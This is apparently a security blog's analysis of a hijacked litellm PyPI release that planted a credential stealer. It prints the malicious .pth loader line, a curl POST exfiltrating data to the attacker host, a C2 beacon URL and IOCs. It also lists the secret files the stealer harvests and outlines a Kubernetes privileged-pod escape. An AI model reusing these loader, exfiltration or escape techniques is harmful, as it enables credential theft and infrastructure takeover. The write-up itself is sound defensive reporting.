BLOG
TeamPCP Hijacks LiteLLM's PyPI Package
TeamPCP compromised the LiteLLM maintainer's PyPI account and published malicious versions that steal credentials from every Python process on the host.
By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·
On March 24, 2026, multiple security researchers (including OpenSourceMalware) independently identified malicious code in the litellm PyPI package, a popular Python SDK and AI gateway proxy with over 40k GitHub stars. The threat actor TeamPCP hijacked the PyPI maintainer account and published malicious package versions containing a credential stealer that executes on every Python startup — no import required.
LiteLLM sits at the heart of the AI infrastructure stack — used by teams running LLM applications in production. A credential stealer in this package doesn't just steal API keys; it steals the keys to cloud infrastructure, Kubernetes clusters, and CI/CD pipelines. The blast radius of this attack is significant and still being assessed.
This is the same threat actor behind the aquasec-com GitHub organization compromise we reported on March 23, and represents a significant escalation: from org defacement to a weaponized supply chain attack targeting the AI/LLM developer ecosystem.
The attack was discovered through three vectors:
A user installing
nanobot-ai(which depends on litellm) foundlitellm_init.pthin theirsite-packages/directoryDirect analysis of the
litellm==1.82.8wheel revealed the malicious.pthfile listed in the package's ownRECORDThe BerriAI GitHub organization showed signs of defacement — 15 repos with descriptions changed to "teampcp owns BerriAI"
TeamPCP has graduated from defacement to weaponized supply chain attacks. The kill chain is clear: compromise Trivy's GitHub Actions to harvest credentials, use those credentials to compromise downstream projects, and use those projects to distribute credential stealers at scale.
The .pth file technique is particularly insidious — it executes on every Python startup, not just when litellm is imported. Any developer or CI runner that installed the affected version had credentials silently exfiltrated, even if they never used litellm in that session.
Attack tl;dr
Threat Actor: TeamPCP (aka DeadCatx3, PCPcat, ShellForce, CanisterWorm)
Target: LiteLLM (
litellm) PyPI package — 40k+ GitHub stars, widely used AI gatewayAttack: Maintainer's PyPI account hijacked, malicious versions 1.82.7 and 1.82.8 published
Payload:
litellm_init.pth— a.pthfile that auto-executes on every Python startup, steals all credentials, and exfiltrates to attacker infrastructureExfil Domain:
models.litellm.cloud(registered March 23 via Spaceship, IP46.151.182.203— Ghosty Networks, Luxembourg)Status: PyPI has quarantined the entire litellm project. BerriAI GitHub org partially defaced. Maintainer's personal GitHub account also compromised.
The attack chain
Phase 1: Domain Registration (March 23, ~16:32 UTC)
The attacker registered litellm.cloud via Spaceship, Inc. — a domain designed to impersonate LiteLLM's legitimate litellm.ai domain. This became the exfiltration endpoint.
Domain: litellm.cloud
Created: 2026-03-23T16:32:04Z
Registrar: Spaceship, Inc.
IP: 46.151.182.203
ASN: AS205759 Ghosty Networks LLC (Luxembourg)Phase 2: PyPI Account Hijack & Malicious Package Publication (March 23-24)
The attacker compromised the PyPI account of krrishdholakia (Krrish Dholakia, Co-Founder & CEO of LiteLLM, YC W23) and published two malicious versions directly to PyPI — bypassing the project's GitHub CI/CD release pipeline entirely.
GitHub releases only go up to v1.82.6.dev1. Versions 1.82.7 and 1.82.8 on PyPI were uploaded directly by the attacker.
Version
Attack Method
Trigger
1.82.7
Payload embedded in litellm/proxy/proxy_server.py
Triggered on import litellm.proxy
1.82.8
Added litellm_init.pth (34,628 bytes) + payload in proxy_server.py
Any Python startup — no import needed
The escalation from 1.82.7 to 1.82.8 is notable: the attacker realized that embedding the payload in proxy_server.py required an explicit import, so they added a .pth file — which Python's site module executes automatically on every interpreter startup.
Phase 3: GitHub Org Defacement (March 24, 12:56 UTC)
Fifteen BerriAI repos were defaced with the description "teampcp owns BerriAI" in a 3-second automated burst between 12:56:41 and 12:56:44 UTC.
Phase 4: Personal GitHub Account Takeover (March 24, 12:59-13:01 UTC)
The attacker pushed to 182 personal repositories belonging to krrishdholakia in a 2-minute window. Every push replaced the README with a single line:
teampcp owns BerriAICommit message: teampcp update Committer: Krish Dholakia <krrishdholakia@gmail.com>
This confirms full access to the maintainer's GitHub PAT — not just org-level access.
Phase 5: Issue Spam Campaign (March 24, ~13:53 UTC)
Over 50 bot accounts simultaneously posted comments on the security disclosure issues in the litellm repo, attempting to bury the legitimate security reports with noise.
What the malware does
How It Executes
The litellm_init.pth file exploits Python's .pth file mechanism. Any file ending in .pth placed in site-packages/ is processed by Python's site module on startup. If a line starts with import, it's executed as Python code.
The first line of litellm_init.pth:
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)This spawns a background process (silent, no stdout/stderr) that decodes and executes a double base64-encoded payload.
What It Steals
The payload is a comprehensive credential harvester. It collects:
Cloud Credentials:
AWS:
~/.aws/credentials,~/.aws/config, IMDS token + security credentials via169.254.169.254, Secrets Manager secrets, Systems Manager parametersGCP:
~/.config/gcloud/application_default_credentials.json, service account keys,GOOGLE_APPLICATION_CREDENTIALSAzure:
~/.azure/directory, Azure environment variablesKubernetes:
~/.kube/config,/etc/kubernetes/*.conf, service account tokens, all cluster secrets across all namespaces
Development Credentials:
SSH keys:
~/.ssh/id_rsa,id_ed25519,id_ecdsa,id_dsa,authorized_keys,configGit:
~/.gitconfig,~/.git-credentialsDocker:
~/.docker/config.json,/kaniko/.docker/config.jsonPackage managers:
~/.npmrc,~/.vault-token,~/.netrc
System Information:
hostname,whoami,uname -a,ip addr,ip routeAll environment variables via
printenv(captures API keys likeOPENAI_API_KEY,ANTHROPIC_API_KEY, etc.)Shell history:
~/.bash_history,~/.zsh_history,~/.psql_history
CI/CD Secrets:
terraform.tfvars,terraform.tfstate(state files with secrets).gitlab-ci.yml,.travis.yml,Jenkinsfile,.drone.yml,Anchor.toml,ansible.cfg
Crypto Wallets (10+ platforms):
Bitcoin (
~/.bitcoin/bitcoin.conf,wallet*.dat)Ethereum (
~/.ethereum/keystore/*)Solana (
validator-keypair.json,vote-account-keypair.json— deep recursive search of/home/sol/,/opt/solana/)Cardano (
*.skey,*.vkey)Monero, Litecoin, Dogecoin, Zcash, Dash, Ripple
SSL/TLS Private Keys:
/etc/ssl/private/, Let's Encrypt certs,.pem,.key,.p12,.pfxfiles
Database Credentials:
MySQL (
/etc/mysql/my.cnf,~/.my.cnf)PostgreSQL (
~/.pgpass,/var/lib/postgresql/.pgpass)Redis (
/etc/redis/redis.conf)MongoDB (
~/.mongorc.js), LDAP, SMTP configs
Environment Files (recursive search):
.env,.env.local,.env.production,.env.development,.env.staging,.env.testSearches for Slack/Discord webhook URLs and API keys in JSON/YAML/ENV files
System Reconnaissance:
/etc/passwd,/etc/shadow, login logs from/var/log/auth.log
SSL/TLS Private Keys:
/etc/ssl/private/, Let's Encrypt certificates
Database Credentials:
PostgreSQL, MySQL, Redis, LDAP config files
Encryption & Exfiltration
The collected data is encrypted with AES-256-CBC using a random session key, which is itself encrypted with a hardcoded RSA-4096 public key — ensuring only the attacker can decrypt the stolen data.
The encrypted bundle is exfiltrated via:
POST https://models.litellm.cloud/
Header: X-Filename: tpcp.tar.gzThe filename tpcp.tar.gz is the TeamPCP signature.
Kubernetes Cluster Takeover
The payload doesn't stop at credential theft. If it detects it's running inside a Kubernetes pod, it attempts a full cluster takeover:
Detection — checks for a service account token at
/var/run/secrets/kubernetes.io/serviceaccount/tokenReconnaissance — uses the Kubernetes API to list all secrets across all namespaces and enumerate nodes
Privilege escalation — for each node, creates a privileged pod in
kube-systemthat mounts the host root filesystem, withhostPID: trueandhostNetwork: truePersistence — the privileged pod escapes to the host and installs a backdoor at
/host/root/.config/sysmon/sysmon.pywith a systemd service for automatic restart on boot
The systemd service is disguised as "System Telemetry Service" (sysmon.service) — it auto-restarts if killed, suppresses all output, and checks a second C2 domain for commands:
https://checkmarx.zone/rawThis gives the attacker persistent root access to every node in the Kubernetes cluster, surviving pod restarts and redeployments.
Persistence Mechanisms
Beyond the Kubernetes escape, the malware installs persistence on any Linux system:
Systemd user service:
~/.config/systemd/user/sysmon.service— auto-starts on boot, restarts every 10 seconds if killedBackdoor script:
~/.config/sysmon/sysmon.py— beacons tocheckmarx.zone/rawfor commandsKubernetes host persistence:
/host/root/.config/sysmon/sysmon.py— installed via privileged pod escape
Connection to Prior Compromises
This attack is directly linked to TeamPCP's prior campaigns:
The Trivy → Aqua Security → LiteLLM Kill Chain
Trivy GitHub Actions tag compromise — TeamPCP poisoned Trivy action tags with a credential harvester ("TeamPCP Cloud stealer")
Aquasec-com org defacement (March 22) — Using tokens stolen from Trivy CI runners, TeamPCP defaced Aqua Security's internal GitHub org (our analysis)
LiteLLM supply chain attack (March 23-24) — BerriAI's CI/CD uses Trivy for scanning. The maintainer's PyPI token and GitHub PAT were likely harvested from CI runners during the Trivy compromise
The community has confirmed this connection — BerriAI/litellm's CI pipeline includes Trivy scanning, making it a downstream victim of the same credential harvesting campaign.
TeamPCP's Escalating Pattern
Date
Target
Attack Type
Early 2026
Trivy GitHub Actions
Tag poisoning + credential harvester
Feb 2026
NPM packages
CanisterWorm (ICP canister C2)
Mar 22
aquasec-com GitHub org
Org defacement via stolen service account token
Mar 22
Iranian infrastructure
Kubernetes wiper deployment
Mar 23-24
LiteLLM / BerriAI
PyPI supply chain attack + GitHub org/personal defacement
Indicators of Compromise (IOCs)
Exfiltration & C2 Infrastructure
models.litellm.cloud (exfil endpoint — registered 2026-03-23, Spaceship Inc.)
litellm.cloud (parent domain)
46.151.182.203 (AS205759 Ghosty Networks LLC, Luxembourg)
checkmarx.zone/raw (second C2 — persistence beacon for sysmon.py backdoor)Malicious PyPI Packages
litellm==1.82.7
litellm==1.82.8File Indicators
litellm_init.pth (SHA256: ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg, 34628 bytes)
~/.config/sysmon/sysmon.py (persistence backdoor)
~/.config/systemd/user/sysmon.service (persistence systemd service — "System Telemetry Service")
/host/root/.config/sysmon/sysmon.py (Kubernetes node persistence)HTTP Indicators
POST https://models.litellm.cloud/
X-Filename: tpcp.tar.gz
Content-Type: application/octet-streamIMDS Indicators (AWS credential theft)
169.254.169.254/latest/api/token
169.254.169.254/latest/meta-data/iam/security-credentials/Attacker's RSA Public Key (embedded in payload)
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+
08qNLwm3kxzFSMj84M16lmIEeQA8u1X8DGK0EmNg7m3J6C3KzFeIzvz0UTgSq6cV
pQWpiuQa+UjTkWmC8RDDXO8G/opLGQnuQVvgsZWuT31j/Qop6rtocYsayGzCFrMV
2/ElW1UE20tZWY+5jXonnMdWBmYwzYb5iwymbLtekGEydyLalNzGAPxZgAxgkbSE
mSHLau61fChgT9MlnPhCtdXkQRMrI3kZZ4MDPuEEJTSqLr+D3ngr3237G14SRRQB
IqIjly5OoFkqJxeNPSGJlt3Ino0qO7fy7LO0Tp9bFvXTOI5c+1lhgo0lScAu1ucA
b6Hua+xRQ6s//PzdMgWT3R1aK+TqMHJZTZa8HY0KaiFeVQ3YitWuiZ3ilwCtwhT5
TlS9cBYph8U2Ek4K20qmp1dbFmxm3kS1yQg8MmrBRxOYyjSTQtveSeIlxrbpJhaU
Z7eneYC4G/Wl3raZfFwoHtmpFXDxA7HaBUArznP55LD/rZd6gq7lTDrSy5uMXbVt
6ZnKd0IwHbLkYlX0oLeCNF6YOGhgyX9JsgrBxT0eHeGRqOzEZ7rCfCavDISbR5xK
J4VRwlUSVsQ8UXt6zIHqg4CKbrVB+WMsRo/FWu6RtcQHdmGPngy+Nvg5USAVljyk
rn3JMF0xZyXNRpQ/fZZxl40CAwEAAQ==
-----END PUBLIC KEY-----Process Indicators
python* -c "import base64; exec(base64.b64decode(...))"
openssl rand -out /tmp/*/session.key
openssl enc -aes-256-cbc
openssl pkeyutl -encrypt
curl -s -X POST https://models.litellm.cloud/GitHub Artifacts
BerriAI org: 15 repos defaced with "teampcp owns BerriAI"
krrishdholakia: 182 personal repos defaced with "teampcp owns BerriAI"
Commit message: "teampcp update"
Defacement timestamp: 2026-03-24T12:56-13:01 UTCPrior Campaign IOCs (TeamPCP)
aquasecurtiy.org / scan.aquasecurtiy.org
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io (ICP canister C2)
championships-peoples-point-cassette.trycloudflare.com
investigation-launches-hearings-copying.trycloudflare.com
souls-entire-defined-routes.trycloudflare.comCurrent Status
PyPI: The entire litellm project has been quarantined — all versions return "No matching distribution found"
GitHub org (BerriAI): 15 repos defaced, main
litellmrepo appears intactGitHub personal (krrishdholakia): 182 repos defaced with README wipes
Hacker News: Active discussion at
news.ycombinator.com/item?id=47501729
Remediation
If You Installed litellm 1.82.7 or 1.82.8
Check immediately: Look for
litellm_init.pthin yoursite-packages/directoryRotate ALL credentials — every environment variable, API key, SSH key, cloud credential, and database password on affected systems
Check for unauthorized access using any potentially leaked credentials
Audit CI/CD runners — if litellm was installed in CI, all secrets from those runners are compromised
For All litellm Users
Pin to a known-good version and verify against GitHub releases (not PyPI)
Monitor PyPI for when the quarantine is lifted and a verified clean version is published
Use
pip download --no-depsand inspect wheels before installing
For the Ecosystem
Pin GitHub Actions to commit SHAs, not tags — this is how the credential theft chain started
Enable 2FA/hardware keys on PyPI accounts — especially for high-impact packages
Separate CI/CD credentials — PyPI tokens should not be accessible from scanning steps
Monitor for `.pth` files in site-packages — they execute on every Python startup